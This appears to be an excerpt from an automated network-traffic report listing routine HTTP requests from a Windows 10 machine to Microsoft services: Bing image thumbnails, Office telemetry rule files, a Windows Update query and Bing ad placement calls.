Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239385916954_1I0G5LQAI2SQLV5XN&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239399109664_12R6JVR4SJZQSTHCV&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239378034176_1VAY6I95TXDSQZZRC&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239337201808_1NREAF5SJS6TG8GUU&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=24&h=24&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: www.bing.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239378034177_1Y8HUQR0O0JRMMA4L&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239400684120_19KXYN61GL8LX8K23&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239400684121_1FNQVRXRLFI6QYKH4&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239360172428_1P64HZ8YIC3KIBFKY&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239360172429_1FBLLBDCCPBGUQBS5&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239360432410_1ZT9L3WG863INPZDE&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239360432411_13QPWJ00JGY7I4CI1&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule90401v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=P+eths3fKrTxYz6&MD=kKBr4+A7 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /neg/0?action=impression&rlink=https%3A%2F%2Fwww.bing.com%2Faclick%3Fld%3De8G4PIk1UbC6xaqOpUmuUy6TVUCUxL1qmCxSndJLMNXhaLIHU6oqEhDITNRJZJa0HjYUSWH529YKNaPWxjfURv6OUlfPETUk1g15CK9zhyQE3Fc1UUwW10c_ie9L9rmfHeOli8zUEnEppXfU5ToThWdnsgd29yL0nMayZOTtJASr6oEWZM%26u%3DbWljcm9zb2Z0LWVkZ2UlM2FodHRwcyUzYSUyZiUyZnd3dy5taWNyb3NvZnQuY29tJTJmZWRnZSUyZndpbmRvd3MtZWRnZSUzZmZvY3VzJTNkY29udmVuaW5jZSUyNnNvdXJjZSUzZGlwJTI2ZXMlM2QwJTI2Zm9ybSUzZE01MDBFNyUyNk9DSUQlM2RNNTAwRTc%26rlid%3De3a86032b7461ee85de907618f0a1a89&TIME=20241206T174621Z&CID=531538185&EID=531538185&tids=15000&adUnitId=11730597&localId=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&deviceId=6966555320912735&anid=DA18C8825356BAC4E7B23066FFFFFFFF HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: g.bing.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=88000045&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241206T174621Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=c9316ac940c646fdbf3ea675e65bce51&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=617008&metered=false&nettype=ethernet&npid=sc-88000045&oemName=uvisoy%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=uvisoy20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=617008&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: 